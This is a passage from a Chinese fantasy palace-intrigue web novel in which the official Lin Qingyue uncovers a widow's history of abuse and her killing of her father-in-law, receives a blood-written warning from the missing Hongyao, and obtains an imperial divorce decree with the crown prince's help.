“若是这口殃气被活人吸去了,便会影响健康和气运。所以你爷爷去世后,你的身体一下子变得虚弱。”
“尤其你最后你问了他心愿,偏偏他也没来得及说出口。又浊又晦的殃气,就会对你身体的影响很大,现在你虽然感觉身体无恙,但气运却在日益减弱。”
“至于你看到的那些画面,其实是你潜意识里受到他殃气的影响而产生的幻觉。”
“你爷爷的魂魄应该已经不在了,也许是之前你请的人将他超度了。但超度亡魂,却没有化解你的殃气,所以对你的影响依然还在。”
这么一说,孙大宝也觉得自己最近运气糟糕透了。前天出去摆摊卖馄饨,半路担子断了,包好的馄饨全洒了。
昨天拿着一串钱去买东西,结果半路遇上了贼子被偷了。
回来的路上还摔了个狗吃屎。
孙母原本还对此事不屑一顾,甚至还屡次出言要请林倾月出去。
此刻,听说影响到了儿子的身体和气运,她顿时就急了:“那这该如何是好?哎呀,那老东西真是磨人,死都死了还要祸害子孙!”
林倾月道:“老人既然有遗愿未了,最好还是想办法化解。他现在的魂魄虽然不在,可若是依然有执念未了,也会在冥冥之中影响家人。可惜他魂魄不在了,不然倒是可以请来问问。”
孙母擦了擦眼泪:“那老东西人都死了,谁知道他到底还有什么心愿没了。”
林倾月看向孙母:这妇人,也就是三十多岁的年纪,虽然手脚粗鄙,但看起来风韵犹存。
和孙大宝不同的事,她提起老爷子的时候,没有太多的情感。就连眼神里的悲伤,也有几分伪装的色彩。
难道,和她有关?
林倾月语气严肃地问道:“你仔细想想,他生前有没有什么遗憾?”
“那我怎么知……”孙母话音一顿,眼神也不由得闪躲了一瞬。
林倾月道:“事关你儿子,最好不要隐瞒。”
孙大宝拽着他娘的胳膊道:“娘你是不是知道什么?你快说呀!早点把爷爷的心愿了了,让他能安心投胎。我也不想再受什么殃气的影响!”
孙母犹豫再三后,走过去把院门关好,才开始讲述一段不为人知的往事。
第134章 不堪的过去
说来,孙母也是个可怜的人。
她闺名唤作:“彩姑”。十四岁那年,家乡遭了灾,家里人都死光了。
她一介孤女,流浪到了京城已经面黄肌瘦、又脏又臭,不知吃了多少苦。
都说京城是繁华之地,到处是贵人,随便施舍点吃喝就能活。
可那些贵人门出入都是香车宝马,高攀不上。普通人,看到她这样的肮脏的乞丐也是避之不及,根本讨不到一点吃的。
就在她奄奄一息,差点饿死的时候,遇到了孙大宝的爷爷孙有根。
孙有根当时看她可怜,就把客人吃剩的半碗馄饨给了她。
等她吃完了馄饨,撩开面前的头发向老人道谢的时候,孙有根还挺意外:“原来你是个女子啊,长得还挺水灵。”
彩姑就把自己的名字和来历给说了,又道:“女孩容易受欺负,所以我就往脸上抹了泥巴,又扮成个男人样。”
孙有根点点头:“你倒是聪明。可怜啊,若是你父母在天有灵,知道你如今的样子怕要心疼死。”
闲聊了几句后,知道她无家可归,孙有根就道:“我家中有一子,从小体弱多病,和我老汉相依为命。可惜,如今20多岁也没能说上亲。你若不嫌弃,便来我家做儿媳妇吧。以后但凡家里有一口吃的,定不会叫你饿肚子。”
彩姑那时已经走投无路了,于是欣然应允,当晚就跟着回了孙家。第二天,简单地摆了一桌,便算成了一家人。
孙有根的儿子身体羸弱,躺在床上总是咳个不停。但他很喜欢新娶的媳妇,说起话来也和颜悦色。
彩姑就在孙家忙前忙后,干家务、照顾病弱的丈夫,虽然日子清苦却也让人满足。
可惜好景不长,彩姑成婚后不到半年,体弱多病的夫君便一命归西。
而孙母当时还年轻,所以孙有根在办完儿子的丧事后,提出让儿媳妇改嫁。
当时年景不好,彩姑一个弱女子无以谋生,又怕改嫁碰不到良人,就继续留在孙家。
然而,鳏父和寡妇在一起久了,难免出事。
有一日,孙有根喝多了酒,酒壮人胆,便把儿媳妇给强睡了。
第二天醒来,他跪在儿媳妇跟前忏悔。说他喝多才犯了糊涂,还以为是早死的发妻回来了。
因为这一次,儿媳妇怀了身孕。她当时羞愧万分,想要堕胎。
孙有根又跪着求她:“千错万错都是我的错,可错已酿成,就给那未出世的孩子一个活下来的机会。只要你答应留下的孩子,以后你们娘俩都归我养,我定会让你们吃喝不愁。”
彩姑一个弱女子,能怎么办?留在孙家,好歹吃喝不愁。
公公虽然老了一些,但对她言听计从。有时候她心里不痛快,指着老爷子鼻子骂,老爷子也闷着头不吭声。
于是这一家子,就这样过了十几年。
只不过,爬灰的名声太难听,所以孙有根对外只说是儿子的遗腹子,和孙大宝也是以爷孙相称。
若不是出了后来的事,孙母是绝对不肯把这样龌龊的事情讲给儿子听。
“老爷子虽不是个东西,但好在没有亏待我们娘俩,尤其将我儿子疼得跟眼珠子似的。”
“早些年的时候,是他自己说不能透露出去,免得叫大宝被人戳脊梁骨。”
“可后来也不知道是不是年纪大了,想法也变了。有几次居然提出,想让大宝认他这个爹。我死活不同意,他才罢休。”
彩姑叹息着对儿子道:“娘命苦啊!这辈子,受了孙家的恩,又把自己的一生都赔给了孙家。可我的宝贝儿子,不能落一个野种的名声。”
“所以你觉得老爷子的遗愿是什么?认回儿子?”林倾月问。
彩姑道:“应该就是这个。”
林倾月冷冷地道:“可我觉得你还是有所隐瞒。”
彩姑有些慌乱地解释:“这些都是真的,绝无隐瞒。我连这种不伦之事都说了,还能隐瞒什么呢?”
林倾月道:“按照你的说法,你对之前的事情已经释怀了,你们一起生活了十多年,可为什么你提起孙有根时,眼神里都是藏不住恨?”
林倾月
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盯着彩姑:“你说对从前的事已经释怀,可提起孙有根时,眼里的恨根本藏不住。”
她扫过整洁的院落,“你把屋子收拾得这么干净,绝不是懒人。但他瘫痪后长恶疮,那是长期不翻身、血脉淤堵才会溃烂,你若真无恶意,怎会放任不管?
孙大宝道:“这么说我倒想起了!爷爷刚卧床时,大夫说至少能活好几年。那时候他精神好得很,一顿能吃三大碗。可后来突然就不行了……难道……”
他猛地盯住母亲,后半句卡在喉咙里。
彩姑的脸瞬间褪尽血色,缓缓跌坐回凳上沉默不语。
林倾月道:“你要说实话,我才能帮你儿子找出化解的办法。”
彩姑沉默半晌,低低叹了口气:“我以为没人会发现……没错,是我弄**他。”声音陡然发狠,“我恨他,那老东西早就该死!”
林倾月问:“是因为他强迫了你吗?可为什么你当初不报案呢?”
彩姑自嘲一笑,道:“因为我蠢,我相信了他的话,以为那次只是一次醉酒后的意外。我念着他的一饭之恩,想着就原谅这一次,就这一次……”
可她没想到,那一次的原谅换来的是变本加厉的欺负。
第一次的时候,他跪在彩姑的脚边用力地抽打自己的脸,抽得满脸通红。
他痛哭流涕,苦苦哀求,希望彩姑看在当初那半碗馄饨的份上,原谅自己的一次。
彩姑心软了。
不久之后,她发现自己怀孕,孙有根再度跪下求她生下孩子。
他说:“我刚刚经历了丧子之痛,这个孩子也许是老天爷可怜我,才送来的恩赐。等他长大了,也是你的依靠啊。”
他还说:“彩姑,只要你给我们老孙家留个后,将来你想要改嫁,我送你嫁妆风风光光为你发嫁。你若不想改嫁,以后我养你们娘俩,我给你们做牛做马!”
这个时代堕胎本就艰难,她又没有钱财举步维艰,连医馆都去不起。彩姑一个无依无靠的弱女子能怎么办呢?
于是,妥协成了必然。
第135章 伪善者
可当她十月怀胎,好不容易生下了孩子,以为一切能慢慢向好时,他再度侵犯了她。
这一次,他褪去了伪善的嘴脸,讥讽地道:“又不是第一次,你哭什么?是你八字不好,克**我儿子,再赔一个儿子给我天经地义!”
“我本来也不想这样,可男人的欲望就像疯狂的野兽,一旦放出来了就再难收回。”
“什么,你要告官?事情都过去那么久了,你有什么证据能证明,是我强迫你的?”
“街坊邻居看着你肚子一天天大起来,都以为你怀的是我儿子的种,是遗腹子!你也默认了。再突然反口,谁能信你?”
“别人只会认为是你不安分,故意勾引公爹!那时,你会被游街示众、浸猪笼,更会被世人的口水淹死!”
“与其名声尽毁,不如从了我。往后啊,咱们好好过日子,总比你再流落在外饿死,或是沦落风尘强!再说当初要不是我的一饭之恩,你早**。做人得有良心!”
那年,彩姑才十六岁,举目无亲,没人撑腰。被孙有根一通吓唬,哪里还有什么主见?
女子生来不易,仅仅想要活着,就要付出巨大的代价。
可想活,又有什么错呢?
她就这样,糊里糊涂地跟了孙有根。
孙有根怕她有外心,家里的钱财都藏得严实,从不叫她接触。连买米买菜都是自己亲自去。
街坊邻居只看到他每日忙进忙出,还总夸他是个老好人。
只是没人知道,这憨厚老实,说话总是笑呵呵的老汉,每晚折腾自己儿媳妇的手段却是花样百出。
他喜欢掐人,总是把彩姑身上掐得青一块、紫一块。
但他又很聪明,从来不在彩姑的脸上、手上、脖子上留下伤痕。免得叫人看出问题。
再后来,孙有根年纪大了,力不从心,而孙大宝也渐渐开始懂事,彩姑的日子才好过起来。
“可惜我命苦,松快日子没过几年,孙有根就摔伤瘫痪了。我日日端茶送饭,伺候屎尿,他却毫不收敛,对我挥来喝去,张口就恶毒辱骂。”
“他这辈子在旁人面前装尽好人,独独把所有阴狠都给了我。”
“就因为我当年吃了他的半碗馄饨,便活该要用一辈子来偿还!”
孙大宝已经完全呆住了:记忆里慈祥的爷爷,原来是自己的亲生父亲。而且还对自己的母亲做了那样不伦之事。
“娘,这些事情你怎么不早些告诉我?你若是告诉……”
“告诉你,你又能怎样?你能把他送官法办?没用啊,已经太晚了!除了证明那些不伦之事,除了让咱们母子被旁人的吐沫星子淹死,还能如何?”
“更何况……”那可怜的女子哽咽着道,“更何况……我说不出口啊!”
“听到大夫说,他的身体很硬朗,还能好好地活很多年的时候,我心里其实很绝望。我被磋磨得一天都快要活不下去,可他却还能活很多年!凭什么,我凭什么还要继续被他折磨?”
她擦去眼角的泪,眼神渐渐变得狠毒:“我不想再继续受他折磨,也不能让我儿子被他连累。所以,我要想办法弄死他!”
“我听说,瘫痪的人一旦伺候不好,就容易得褥疮。得了褥疮就会感染、会死。可惜他上半身还能动弹,还能折腾人,没那么容易得褥疮。”
“所以后来,我想了个办法。我偷偷买了**,让他白天晚上都处于昏睡中。他安静了,我也就清闲了。一段时间之后,他的身体果然渐渐垮了。后来,就算不用**,他也昏睡不醒。”
“娘你……”孙大宝忽然反应过来,急忙对林倾月道,“我爷爷已经去世了,他的鬼魂既然没有出来**,那这案子就算了。林大人,刚才的事情,您能不能当做没听到?”
林倾月淡淡一笑:“那你身上的殃气还化解吗?”
不等孙大宝说话,彩姑就“噗通”一声给林倾月跪下了:“林大人,大宝是无辜的,不该被那老东西的殃气影响。请你帮他化
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解,救救他,他还年轻啊。所有的罪过都在我,只要我儿无事,我愿意去自首。”
“娘!”
“你闭嘴!”
“我不闭嘴!我也不化解了,我爷要来找我就让他来找,我还要找他算账!”
林倾月揉了揉耳朵,不耐烦地道:“吵什么吵?孙有根已经下葬,若是家属对他的死亡存疑,自去相关衙门报案。我是玄镜司的人,只负责处理邪祟相关的案子,其他都与我无关。”
“根据过往发生的事情来看。孙有根的遗愿,应该就是想让你去他坟头烧纸的时候,喊声爹。”
“就这样就行了?”孙大宝松了口气。刚才他还以为要将他娘送去官府,为那老东西抵命才能化解呢!
虽然说爷爷变爹,让他有点恶心,但悄悄地喊也没人知道。而上一代人的事,就随着孙有根的死埋入土里,莫要再牵连母亲。
“就这样。”林倾月说着,抬手在他肩膀上拍了拍,于是一抹看不见的灵气便悄悄落入他的体内,帮他化解了身上的殃气。
事实上,林倾月的话并未完全说完。根据她的推测,孙有根的心愿要有两个,除了想听孙大宝喊一声爹外,还想沉冤昭雪。
可惜林倾月不是那种古板正直的人。恶人已经死,那就死吧,反正将来九泉之下还要清算,她才懒得费心去多管闲事。
“行了,事情了结本官也该走了,以后好好孝顺你娘。”
林倾月抖了抖袖子,朝门外走去。
彩姑送她出门的时候,低声道了一声:“多谢。”
林倾月道:“不用送了。以后好好过日子吧,莫要再走歪路,毕竟不是每次都能侥幸。”
彩姑哪里不知道,林倾月在放她一马?她恭恭敬敬地道:“是,谨遵大人教诲!”
从孙家出来,林倾月又看到了那名正站在自家门口揽客的**,王氏。
她看着林倾月,妩媚地挥着手帕:“大人,渴不渴?要不要来奴家这儿坐坐,喝一杯茶?”
第136章 收到红瑶的消息了
此刻,巷子里还有不少人也在附近张望。
听到那王氏**的话,纷纷嘲笑开来:
“王姨,你都一把年纪咯,就别卖弄风骚了!你家那是什么污秽之地,良家妇女都不屑于去看一眼,还好意思招呼大人去?呸,真不要脸!”
“你的媚眼还是留给我们爷几个吧?玄镜司的大人,根本不吃那一套!”
“就是就是!人家是玄镜司的高官,岂是你这种**能高攀得上的?”
王姨也是个泼辣的,张口就骂:“都是下九流的,谁比谁高贵!瞧你们一个个的穷酸样,兜比脸都干净,还想让老娘讨好你们?滚**蛋!呸!”
林倾月本来都已经要走远了,听到后面的嚷嚷声,又顿住了脚步。
她一回头,身后那些吵吵嚷嚷的声音立刻就消停了。
就连最不要脸的无赖,也因为惧怕她身上的官服,怯怯地垂首不语。
林倾月走回到王姨家门口,问:“你叫王姨是吗?你刚才说,要请我喝茶?”
一贯泼辣的王姨,在林倾月审视的目光下,也不禁露了怯:“我,我说着玩的。”
林倾月道:“本官恰好口渴了。”
王姨愣了下,反应过来赶忙侧身,让出门口的位置:“大人请,快请进!”
等林倾月进去之后,王姨得意地扫了一眼那些围观的人群,然后冷哼一声,扭着腰进去了。
有人好奇,身份高贵的女大人,为什么会进**家里喝茶?不嫌脏吗?
可不等他们挤到大门口去围观,院门砰的一声关上,阻隔了里面的视线。
王姨家不大,收拾得还算干净。平常出来进去的,都是她的恩客。其他的街坊邻居都嫌脏,连从她门前走过都觉得晦气。
突然招待贵客,她手脚有些忙乱,倒茶的时候杯子都碰掉了一个,幸好林倾月眼疾手快接住了。
“我自己来吧。”林倾月提着老旧的陶瓷茶壶,给自己冲了一杯茶喝了。
王姨眼睁睁地看她了喝下去,没有露出半分嫌弃的神色,不知不觉眼眶居然红了。
“听说玄镜司的大人和别的大人不一样,我原本不相信,但今日我相信了。”
在这个人分三六九等的时代,尊卑刻入了每个人的骨髓。
上层的贵族们和底层的贱民完全是两个世界的人,连踏入这里都绝无可能。贵人宁可渴死,也绝不会走入**家喝茶。
林倾月放下了茶杯道:“你弄出那些动静,不就是想吸引我吗?说吧,你的目的是什么?”
这一路上的街坊邻居,好奇地看来看去。可碍于她的官服威慑,没人敢轻易搭话。
唯独王姨却屡屡出言邀请,这种不同寻常的举动,肯定带着某种目的性。
林倾月虽然不知具体为何,但还是愿意停下脚步喝一杯茶。
“大人明鉴,奴家确实有事告知!”
王姨从袖子里掏出一根白玉簪子,双手捧给林倾月:“有人托奴家将此物交给玄镜司的林大人。您就是林大人吧?我打听过,玄镜司只有一位姓林的女大人。”
林倾月本来还漫不经心的,可当她的目光落在簪子上时,神色顿时变了。
那是红瑶的簪子!
当初他们在玉石镇时,解决了新婚夜出来**的孤魂时,玉器店的老板娘为了感谢他们,就给林倾月和红瑶送了首饰,红瑶收到的就是这个白玉簪子。
林倾月问:“这簪子谁给你的?”
王姨道:“大概十多天前,有个长得很漂亮的女子,突然闯入我家后院。她的腿被打断了,嘴里一直在吐血,看着很吓人。”
“我当时还以为她是走夜路被男人轻薄了、伤害了,还准备帮她去报官。她拉住了我,声称有人在追杀她,求我收留她在家躲一阵子。”
“没过多久,外面传来急促的脚步声。我悄悄地过去,趴在院门的门缝上去瞧,就看到十几个凶神恶煞的人在我们的巷子前徘徊……”
那些人一看就不好招惹,王姨当时也没
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敢出声,想着他们找不到人就会退走。
他们在这条巷子里搜寻了一圈后,没找到人便聚在一起商议对策。因为距离不远,王姨能听到了他们的对话:
“大人,我们看得没错,她肯定就躲在这附近。不过,七街坊地方大、居民多,挨家挨户地找恐怕到明天天亮,都搜查不完。”
“她也是够狡猾的,居然知道往这一带跑!”
“狡猾?哼,再狡猾的狐狸也逃不过猎人的屠刀!把这里都烧了吧。”
那话一出,连他的手下都吃了一惊:“烧了?大人,这里有大大小小近五百座民房,住户上千人。若是纵火,恐怕……”
“宁可错,不可放过!”
隔着一道门缝,王姨只看到那人的脸隐没在一片黑暗里,犹如人间的恶魔。
恶魔竟然打算要烧死整个七街坊的人,只为了抓到那个受了重伤的女人!
王姨赶紧跑回房间,对红瑶道:“我不管你是什么人,现在你必须要离开。那些人太不是个东西了,他们要放火烧了整个七街坊!我们这里住了上千人,不能因为你一个人,白白送命。姑娘,算我求你了!求你行行好,别连累我们这些可怜人!”
蜷缩在角落里的女子,慢慢地站起来。
王姨撇过头,不敢去看她脸,只能小声地哭泣:“对不起,真的对不起……”
“不用说对不起,你只是做了正确的选择而已。”
她撕下了一片裙摆,蘸着自己的血快速写下几行字,又拔下头上的白玉簪,一并塞给王姨。
“烦请将**交给玄镜司林姓女大人。”她声音发颤却字字清晰,“这簪子当谢礼,我无人可信又走投无路,只有请托于你,请务必帮忙!”
说罢,红衣女子就拖着伤腿翻过后院矮墙,落地时故意弄碎路边的陶罐,发出声响。
王姨刚攥紧簪子和**,眼睁睁地看着她消失,又亲耳听到墙外传来杂乱的脚步声,朝着那女子逃离的方向追去。
第137章 太子的双标行为
王姨对林倾月道:“我不知道那个姑娘,如今是死是活。我后来也到玄镜司去打听过,他们说林大人没回来,我也不敢多说什么。不曾想今天,居然有幸与大人相遇。”
“刚才在外面,人多眼杂的我也不敢多说什么,只好拉下脸皮一个劲地请您进来喝茶。幸好林大人您聪慧,又不嫌弃我这儿脏污。”
她没有说的是,刚才被人耻笑的时候,她心里其实赌了一口气。若是林倾月当时不搭理她走了,她就当那事没有发生过,也省得给自己惹麻烦。
林倾月展开撕下的裙摆,血污虽已干涸,字迹却仍清晰可辨:
【玄镜司有内奸和李家勾结】
字迹有几分潦草,一看就是仓促书成。
林倾月看罢了,眉头微蹙。
玄镜司有奸细?是谁?所以红瑶是发现这些,所以才没有投案自首,反而还惹来杀身之祸?
一年前东方起遭**杀时,也怀疑玄镜司有内奸。可后来他们暗中查过,没有任何蛛丝马迹。可见对方隐藏之深。
林倾月收回思绪,把**收入怀中,又从袖子里掏出一锭银子放到桌案上。
“这白玉簪子不能给你,银子算是补偿。”
王姨慌忙摆手:“这玉簪本就是给你的,我绝无半分私吞的念头。你是好官,若有法子,务必救救那姑娘。”
她攥着衣角,有些愧疚:“拿着这簪子我总心神不宁,夜夜梦见被人追杀。那晚我并不是有意赶她出去,实在是……”
林倾月道:“那晚的情形,凭你本就无力救她,不必自责。能将这些话带到,已是大恩。将来你若遇上麻烦,可到玄镜司寻我。此事到你这里,就此结束。切记莫要对任何人提起,免得给自己带来杀身之祸。”
王姨忙道:“我知道轻重,绝不敢胡说!”
林倾月从王姨这里出来的时候,巷子外还有不少探头探脑的人。
林倾月一个狠厉的眼神甩了过去:“都这么闲吗?”
那些脑袋就赶紧缩了回去。
离开了七街坊,林倾月没有回玄镜司,径直去了东宫。
东宫。
东方起一年多没有理政,如今归位自然有一大堆事物等着他处理。
整个上午,他都在东宫和幕僚会晤谈政。
午间,手下人来报说玄镜司有人求见。
东方起第一反应是林倾月来了,赶忙迎出殿门,结果看到的是谢守正。
谢守正很激动:“殿下,您怎么亲自出来迎接我了?这弄得我都怪不好意思的。”
说着不好意思,眼神却得意地瞟向太子身边的几位幕僚:就算我现在不在东宫当值了,你们这些人也休想取代我在殿下心中的位置!
东方起瞬间就有些失望:“小灰你怎么来了?玄镜司什么时候变得这么清闲了?”
谢守正道:“这不是到了饭点吗?我寻思殿下您这边也快要开饭了,陪您一起用膳。嘿嘿,好久没吃东宫的饭了,怪想念的。”
东方起道:“来人,把今日午膳打包一份给谢大人带走。”
谢守正问:“现吃多好,何必费劲打包?”
东方起说:“本宫还有政务没有忙完,稍后再吃。小灰你先回去吧,身为一方主官,放着衙门里的事物不管,中途跑出来打秋风,传出去对你的官声不好。”
谢守正遭到拒绝也不觉得难堪,只单纯地以为殿下处处在为他考虑的。
“殿下您说得对,那我回去再吃。哎对了,您晚上有空吗?一起吃个饭吧。”
东方起转身进去:“本宫很忙,没空。”
谢守正挠了挠头,说:“那真是可惜。林副使封了亲王,要请我们整个衙门的兄弟吃饭,我还想喊上殿下您一块儿热闹热闹。既然您没空,那就……”
东方起闻言步子一顿:“在哪里吃饭?本宫也许久没有见玄镜司的兄弟了。”
谢守正道:“天香酒楼,京城最好的馆子。哎殿下,你刚才不是说没空吗?”
东方起淡淡地道:“挤一挤还是有时间的,你都开口了本宫还是去吧。”
谢守正走的时候,拎着从东宫打包的餐食,满脸都是笑意:殿下果然还是
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最看重我,那么忙居然还为了给我面子参加玄镜司的聚会。
东方起刚走进殿内,正要和幕僚们谈事,又有人来报:“殿下,玄镜司人求见!”
东方起有些不耐烦:“小灰真是像狗一样粘人,去而复归又不知道想干什么!”
他正想说不见。
手下人道:“那奴才就回绝了皓镧亲王。”
“等等,你说谁来了?”东方起反应过来后,恼火地踹了手下一脚,“你什么时候学得也跟谢守正那狗东西一样,说话不能好好说清楚吗?还不快请皓镧亲王进来!”
林倾月被宫人引至东宫主殿,刚跨进门槛时,东方起已迎了出来。
他身着月白锦袍,领边有龙腾祥云的绣纹。头戴白玉冠漾着柔光,华贵又不张扬,清冷又不疏离。
看到林倾月的时候,他微微一笑,于是整个人便又多了一份温润气质。
“你怎么来这儿了?快请上座——来人看茶!都晌午了,可吃过饭了?”
林倾月面对东方起时,也没有太多客套话,开门见山地道:“找你有事儿,没来得及吃。”
“正好我也没吃,边吃边聊吧。”东方起吩咐的人呈上饭菜。
林倾月扫了眼太子身边的人,不等她说话,太子就吩咐身侧幕僚:“你们都先下去,本宫与皓镧亲王有事商议。”
等大殿内没有外人时,林倾月便把红瑶的那封**拿给东方起,并把从王姨那边得知的情况也说了一遍。
东方起看完了**后,神色凝重:“东林府的案子,我原也想和你说一下。苗东被押解回京城的当天晚上,便畏罪**。”
“虽然之前已留有口供,但缺少了人证,再加上李国公不出所料的,把所有的罪名都推到已死的李铎头上。所以这桩案子,应该不会追究到李国公头上了。最多也就是个教子不严,闭门思过几天也就罢了。”
“这一点,和我们之前的预期差不多。至于红瑶——根据你说的情况来推测,她应该是看到了玄镜司有人和李家勾结,所以被人盯上。”
第138章 进宫讨旨和离
林倾月点头认可:“我也是这么想的。红瑶现在生死不知,而且以她的妖术,除非对方实力强大,否则普通人也伤不了她。总之,不管是死是活,要尽快找到红瑶。小花你说,李家抓了红瑶,会把她关在哪里?”
东方起道:“正好我上午查了下李国公及其家人最近的行踪。苗东案出来后,他们一家的行事低调了许多,李国公闭门不出,其他人也很少外出,更没有出入城的记录。所以,如果红瑶还活着,不出意外的话应该被关在国公府。”
林倾月当机立断地道:“那就走一趟国公府,救红瑶!”
东方起道:“李国公心眼子多,他的府里机关丛丛。贸然过去,不安全。东林府一案之后,李家损失了重要的经济来源,势必怀恨在心。万一露了行踪,被他们拿了错处,反而陷自己于不利。”
林倾月问:“那你有什么办法吗?”
东方起道:“既然暗中探访不合适,那就正大光明地去。李国公不是在生病吗?我陪你去一趟?”
“你陪我?”林倾月摇头,“如果你还是小花的身份,自然没话说。和你现在是太子,随便登门且不说师出无名。咱们俩这个组合又算什么?叔嫂同行?我倒是不畏人言,太子殿下你呢?”
东方起想说:本宫也不畏人言。
可是想了想,感觉说这话有点不合适。
林倾月提议道:“不如咱们一明一暗。你在明处吸引李家人的注意,我装扮成你的随从暗中去探查,若是能找到红瑶,那咱们就直接翻脸问罪。毕竟红瑶也是东林一案的证人,私自扣留证人,也是一桩罪名。”
东方起想了想说:“可以,吃过午膳我就进宫找父皇要一道手令,防止李家推脱闭门。”
林倾月道:“行。我正好跟你一起进宫,找你爹要一道和离的圣旨。你在旁边还能帮我说说话。”
东方起突然就显得特别高兴,满口答应:“行,我一定帮你。”
吃完了午饭,两人一道进宫见齐昭帝。
齐昭帝看到他们二人一起来,还有一些意外:“你们俩怎么一块儿来见朕了?”
东方起就把红瑶失踪,怀疑是李国公**,准备去他府上以探病为由,救人为实的事说了一遍。
不过隐去了红瑶狐妖的身份,因为他知道齐昭帝对于妖类十分排斥,所以当初连谢守正的身份都隐瞒了。
“父皇,李国公如今闭门谢客。儿臣直接去,恐怕他也会以生病不见客为由推诿。所以,儿臣想向父皇讨一道圣旨,算是替父皇去看望,这样他便没有理由拒绝。”
齐昭帝点了点头:“父皇这就让人起一道圣旨。今日已晚,不宜探病。按照齐国风俗,探病以上午为佳。你们明日再去,以免显得仓促引人怀疑。”
林倾月道:“可红瑶已经失踪了数日,多耽误一天恐怕……”
齐昭帝道:“李家乃是世家大族,李国公在朝中根基庞大。不管暗地里如何,至少表面的功夫要做足,不能被抓到把柄。我们皇家也是要靠士族的支持。怎可因为一个民女,就引起皇室和士族嫌隙?”
作为帝王,他需要从全盘去考虑问题,至于个人的生死,那只是其次。
能够无条件的支持东方起,已经算是他做得最大的让步了。
“多谢父皇。”东方起只能退而求其次,明日再去。
林倾月转而又开始提出自己入宫的第二件事:“请陛下恩准,允许臣和东方宴和离!”
说着,她呈上了提前写好的奏章,以示郑重。
只要齐昭帝在上面批个准字,或者直接下个圣旨,她回去就可以写一封和离书,把东方宴一脚踹开。
齐昭帝脸上的笑容淡了:“为何要和离?朕没记错的话,当初可是你主动接近晋王,又用了些手段,制造了和晋王有染。朕给你们赐婚,晋王还有些不大满意呢。怎么如今得到了,却又不知珍惜呢?”
他当初对东方宴心有忌惮,不希望他的联姻对象家世过
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于殷实。
而长宁侯府日渐末路,林倾月当时的名声又不大好,拿来配给东方宴再合适不过。
如今太子归来,他更是要大力扶持儿子打压藩王。因此并不希望,东方宴和林倾月的婚姻破裂。
东方起立刻帮着说话:“父皇,之前的事情儿臣略有所知。东方宴中意的是林家的二小姐,又因长宁侯府门第太低,迟迟未能落实婚事。那位林二小姐也是个有心机的女子,就给东方宴用了**,想生米煮成熟饭。朝澜亲王当日是误打误撞,不慎入局受害。这就是一桩错误的婚姻,请父皇允许他们和离,拨乱反正。”
齐昭帝瞪了儿子一眼:“这里有你什么事儿,你是堂堂太子怎么连别人的家事都要管了?”
东方起道:“既然父皇说,这是别人的家事,那是不是可以让朝澜亲王自己去处理?”
齐昭帝说:“晋王本就野心勃勃,一旦和离之后,转头再与其他世家大族联姻,你太子的位置岂不受他威胁?或者……朕先把你的婚事解决了?崔国公家的小女儿如何?”
东方起没想到突然引火烧身:“父皇,我们在谈论朝澜亲王的事情,怎么突然又扯到儿臣的头上?你之前可是答应过,准许儿臣自己选择太子妃。”
齐昭帝说:“对啊,那你选谁呢?”
东方起道:“选太子妃的事儿先缓一缓,还是先解决晋王和朝澜亲王的事儿!”
齐昭帝却不给他回避的机会:“只有你先定好太子妃,确定你联姻的家族足够强大。朕才能答应晋王和离。”
东方起:“……”
他感觉自己陷入两难的境地。
林倾月也没料到,事情会演变到东方起被逼婚的地步。
虽说他年纪也老大不小了,又担负着为皇室开支散叶的重担。可看他的样子,明显就是不想成家。那肯定就是没有找到心上人。
正所谓,己所不欲勿施于人。
东方起帮她,她也不能坑害东方起不是?
第139章 她是攀上了高枝,看不上晋王妃的位置!
于是,林倾月淡定开口:“陛下,先前臣去赤影之地前,您答应过只要臣保太子安然归来,您就答应臣一个条件。没错吧?”
齐昭帝道:“没错,你之前提出要爵位,朕不是也给了吗?”
林倾月摇头:“可臣提出的是要公主的爵位,您没答应。那么,臣现在想要和东方宴和离。请陛下应允!”
齐昭帝一听就急了:“可朕封了你亲王,比公主的地位还高!”
林倾月耸了耸肩膀,完全一副耍无赖的样子:“亲王是您自己给的,不是臣要求的,所以不算。”
“大胆,你这是耍无赖耍到朕的头上了!”齐昭帝的脸色沉了下来。
当皇帝这么久,还没有人敢在他面前耍阴招。这个林倾月,当真是以为自己居功至伟,便连皇权都不放在眼里了!
东方起也看出父皇是真的动怒了。
他赶忙道:“父皇息怒!朝澜亲王是性情中人,没有挑衅皇权的意思。她只是不想被错误的婚姻束缚,断送一生幸福。”
“儿臣之所以不愿意成婚,也是为了给那些士家大族们留下一些希望。世家大族那么多,可太子妃的位置只有一个,而且一旦定了人选,那么就等同于将其他落选的家族推走。”
“再者,儿臣也想在朝中培植更多属于自己势力。希望将来,我们皇族不会再被那些门阀掣肘。”
“朝澜亲王娘家的势力虽然不够强势。可她本人乃是难得一见的人才,能从赤影之地安然无恙出来的人,天底下又有几个?若是继续让她做晋王妃,万一将来她和东方宴日久生情,对儿臣来说也是一种威胁。与其如此,不如让她做儿臣的左右手!”
说话间,他悄悄地给林倾月使了个眼色。
林倾月郑重其事的表忠心:“臣愿意做太子殿下的左右手!”
齐昭帝沉默不语,暗暗衡量其中利弊。
林倾月和林家不睦的事他自然也是知道。而林霄不是能成气候的人,家中的嫡子如今倒是安分了,却每日只知吟诗作画,陪伴妻子。
没有娘家作为后盾,林倾月孤家寡人,就只能依附太子,做太子的刀。所以如今,多给她一些好处,也未尝不可。
更何况,太子所言在理。不能让她这样的人才,为东方宴所用。否则,势必会威胁太子安危。
片刻之后,他终于点头:“好,朕答应。”
东方起顿时一喜:“多谢父皇成全!”
齐昭帝疑惑地瞅着他:“你谢什么?要谢也该朝澜谢才是,与你有何关系?”
东方起道:“儿臣是谢父皇,让儿臣麾下多了一位人才。今后,儿臣和朝澜亲王都会为齐国尽心尽力,报效父皇。”
这一番话,当即就把齐昭帝给哄得眉开眼笑——不愧是他的乖儿子,就是会说话。
林倾月也乖乖的向齐昭帝表达了感谢。
从皇宫出来,林倾月晃着手上的圣旨对东方起道:“今日之事,多谢了。”
东方起道:“你我之间不必言谢。不过以后,你在我父皇面前说话稍稍注意些分寸。他毕竟当了那么久的帝王,高高在上惯了。你那般说话,万一他真的治你罪了该怎么办?”
林倾月唇角勾着笑,眼眸弯弯的看向东方起:“那不是因为你在?不管我说出怎样大逆不道的话,你都会帮我的对吗?”
“我自然会帮你。”东方起忽然反应过来,“你该不会是故意的吧?”
林倾月双手环臂:“也不算吧,只是当时没按住脾气,随口就说了那话。”
要是真闹僵了,林倾月也不怕。
她的退路可多着呢。可以挂冠离去,从此逍遥江湖。还可以下个**,直接变寡妇亲王。
